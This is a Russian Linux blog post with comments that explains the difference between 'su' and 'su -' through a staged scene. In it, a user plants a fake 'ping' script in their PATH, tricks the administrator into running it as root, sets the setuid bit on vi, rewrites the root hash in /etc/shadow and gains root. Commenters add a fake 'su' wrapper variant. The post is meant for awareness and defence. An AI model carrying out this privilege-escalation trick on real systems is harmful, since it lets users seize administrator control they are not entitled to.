Блог им. aonick → Разница между командами "su" и "su -" [Занимательная и поучительная история]
Большенство пользуются и знают команду «su», но…
многие никогда и не знали про «su -»,
и некоторые набирают «su -» не зная почему, просто потому что им так посоветовал их знакомый гуру-линуксойд.
Предлагаю вашему вниманию наглядное(!!!) объяснение разницы.
Для начала теории
В подтверждение:
Теперь для тех «кто всё равно не понял», либо «ну понятно, и чё дальше?!» — пример после которого одна русско говорящая гражданка страны на юге Канады сказала: "Ну я сегодня своих сисадминов хакну, а то они мне аську не ставят". А на следующий день: "Я их хакнула :)"
— Пьеса «Гипотетическая история, которая может случится с каждым».
Действующие лица (можете выбрать чья роль Вам ближе):
root — системный администратор,
polzavatel — обычный пользователь, без каких либо лишних прав в системе.
Действия происходят на каком-нибудь популярном дистрибутиве (проверено на многих, с некоторыми модификациями, но основной подход тот же).
Сцена первая — «Подготовка».
Компьютер, за ним сидит polzavatel и думает как же поставить себе аську\игрушку\кодеки\...(нужное подчеркнуть). Зная, что root пользуется командой «su» без "-" — у него появляется следующий коварный план(выполняется в консоли от имени polzavatel):
Всё
Сцена вторая — «Социальная»
Компьютер, за ним сидит polzavatel, в ожидании мимо проходящего root. Тут появляется root, он мысленно чем-то занят, торопясь по своим делам.
polzavatel: "Уважаемый root, а у меня тут чего-то не работает — не могли бы вы помочь?.."
root: "Ну что ж...(с неохотой) давай-те посмотрим". Садится за компьютер и набирает в услужливо подставленной консоли:
root: "Ну что тут у вас не работает?"
polzavatel: "Знаете… почему то сеть не работает. 192.168.1.1 — не пингуется. А мне на него файлики закачать надо..."
root: "(Понятно)", набирая команду:
polzavatel: "Ух-ты. Только ж не работало!.. Ну это прям «эффект присутствия» какой-то. Спасибо Вам дорогой root"
root облегченный, так быстро разрулившейся проблемой, уходит предусмотрительно отлогинившись.
Сцена третья — «Заключительная»
Компьютер, за ним сидит polzavatel — обстановка как в первой сцене. С довольной ухмылкой он выполняет в консоли от имени polzavatel следующие команды:
!!!
ЗАНАВЕС
— — — — — — — Пометки:
1) Вместо команды ping можно было бы использовать любую другую или несколько сразу. Соответственно поменяв при этом содержание просьбы polzavatel во второй сцене.
2) Вместо «chmod u+s /bin/vi» — опять же можно использовать и другую команду, которую хотелось бы выполнить root'овыми правами.
Ну кто искренне, держа руку на сердце — готов сказать что он не попался бы?!
P.S. Проверено на более полсотни сисадминах (разной степени продвинутости) — 100% попалось(причем все после объяснения разницы между «su» и «su -», и в ожидании подвоха), из них правда некоторые сказали: «А пинговать, то ведь можно было и не под root'ом...» (но уже после того как попались).
:)Пример не только для того, чтобы бросались все бежать «хакать», а для того чтобы подумали, где бы Вас могли бы «хакнуть» и как этого избежать. Я знаю, а вы?
многие никогда и не знали про «su -»,
и некоторые набирают «su -» не зная почему, просто потому что им так посоветовал их знакомый гуру-линуксойд.
Предлагаю вашему вниманию наглядное(!!!) объяснение разницы.
Для начала теории
Согласно «man su»: Опции "-, -l, --login" означают "make the shell a login shell". Это означает, что при переходе с помощью «su -» запускается командная строка с настройками, как если бы логинились под указанного(либо по-умолчанию «root») пользователя «с нуля». В то время как просто «su» — запускает shell от указанного пользователя и при этом многие переменные окружения унаследываются от пользователя, который был до этого.
В подтверждение:
??[polzavatel]?????o Завёл переменную
?> export A=123
??[polzavatel]?????o Проверил
?> echo $A
123
??[polzavatel]?????o Перехожу без "-"
?> su
Пароль: **пароль**
?=[root]===========o Проверяю
?> echo $A
123 # Переменная передалась
?=[root]===========o Возвращаюсь обратно под "polzavatel"
?> exit
??[polzavatel]?????o Перехожу с "-"
?> su -
Пароль: **пароль**
?=[root]===========o Проверяю
?> echo $A
# Пусто. Переменная не передалась.
Теперь для тех «кто всё равно не понял», либо «ну понятно, и чё дальше?!» — пример после которого одна русско говорящая гражданка страны на юге Канады сказала: "Ну я сегодня своих сисадминов хакну, а то они мне аську не ставят". А на следующий день: "Я их хакнула :)"
— Пьеса «Гипотетическая история, которая может случится с каждым».
Действующие лица (можете выбрать чья роль Вам ближе):
root — системный администратор,
polzavatel — обычный пользователь, без каких либо лишних прав в системе.
Действия происходят на каком-нибудь популярном дистрибутиве (проверено на многих, с некоторыми модификациями, но основной подход тот же).
Сцена первая — «Подготовка».
Компьютер, за ним сидит polzavatel и думает как же поставить себе аську\игрушку\кодеки\...(нужное подчеркнуть). Зная, что root пользуется командой «su» без "-" — у него появляется следующий коварный план(выполняется в консоли от имени polzavatel):
% PATH="/home/polzavatel:$PATH"
% echo "#!/bin/bash
chmod u+s /bin/vi
/bin/ping $*" > /home/polzavatel/ping
% chmod +x /home/polzavatel/ping
Всё
Сцена вторая — «Социальная»
Компьютер, за ним сидит polzavatel, в ожидании мимо проходящего root. Тут появляется root, он мысленно чем-то занят, торопясь по своим делам.
polzavatel: "Уважаемый root, а у меня тут чего-то не работает — не могли бы вы помочь?.."
root: "Ну что ж...(с неохотой) давай-те посмотрим". Садится за компьютер и набирает в услужливо подставленной консоли:
% su
Пароль: **мегаСекретныйПароль** # Садясь за компьютер, с легкой параноидальностью прикрывая клавиатуру телом
root: "Ну что тут у вас не работает?"
polzavatel: "Знаете… почему то сеть не работает. 192.168.1.1 — не пингуется. А мне на него файлики закачать надо..."
root: "(Понятно)", набирая команду:
# ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=4.71 ms
...
polzavatel: "Ух-ты. Только ж не работало!.. Ну это прям «эффект присутствия» какой-то. Спасибо Вам дорогой root"
root облегченный, так быстро разрулившейся проблемой, уходит предусмотрительно отлогинившись.
Сцена третья — «Заключительная»
Компьютер, за ним сидит polzavatel — обстановка как в первой сцене. С довольной ухмылкой он выполняет в консоли от имени polzavatel следующие команды:
% /bin/vi /etc/shadow # Там он копируют хеш-пароля пользователя polzavatel на место хеш-пароля пользователя root. И сохранившись ":w!", выходит из редактора.
% su -
Пароль: **парольПользователя_polzavatel**
# whoami
root
!!!
ЗАНАВЕС
— — — — — — — Пометки:
1) Вместо команды ping можно было бы использовать любую другую или несколько сразу. Соответственно поменяв при этом содержание просьбы polzavatel во второй сцене.
2) Вместо «chmod u+s /bin/vi» — опять же можно использовать и другую команду, которую хотелось бы выполнить root'овыми правами.
Ну кто искренне, держа руку на сердце — готов сказать что он не попался бы?!
P.S. Проверено на более полсотни сисадминах (разной степени продвинутости) — 100% попалось(причем все после объяснения разницы между «su» и «su -», и в ожидании подвоха), из них правда некоторые сказали: «А пинговать, то ведь можно было и не под root'ом...» (но уже после того как попались).
:)Пример не только для того, чтобы бросались все бежать «хакать», а для того чтобы подумали, где бы Вас могли бы «хакнуть» и как этого избежать. Я знаю, а вы?
- +19
- aonick
- 07 декабря 2009, 22:31
ps: да, я попался бы — пользуюсь всегда только «su». :-)
Никто не мишает в этом же примере создать скриптик /home/polzavatel/su следующего содержания:
#!/bin/bash
/bin/su
И тогда не важно, что в этой консоли запускает root: «su» или «su -» — все равно выполняется «su».
Не зря же во всех вариациях сертифицированного RHEL (причем что по Common Criteria «у них», что по РД ОК «у нас») жестко вбито:
alias su=«echo \»Always use '\''/bin/su -'\''
:-)
:) — прикольный alias
/etc/pam.d/su и /etc/pam.d/su-l
ЗЫ: посмотри, кто писал про Ctrl+Alt+Fx на пару комментов выше ;)
А про серию уже объяснялся — я пас. Изредка по настроению сам. А вот сами пишите — дополню. :)
(Зарегился ради того, что откомментить здесь.)
Да вариант с noexec как-то в качестве варианта решения не приходил в голову — соглашусь. Но не кто не мешает тогда PATH="/tmp/bin:$PATH" и химичить в /tmp…
Так с welinux'а ушел — комментить буду здесь :)
1) «sudo command» слегка похоже по работе на «su — -c command».
2) 2Minoru: расмотрел бы синтаксис /etc/sudoers. Хотя бы про то как разрешить пользователю выполнять определенную команду от root не вводя пароля.
3) За «спасибы» — пожалуста, на здоровье :)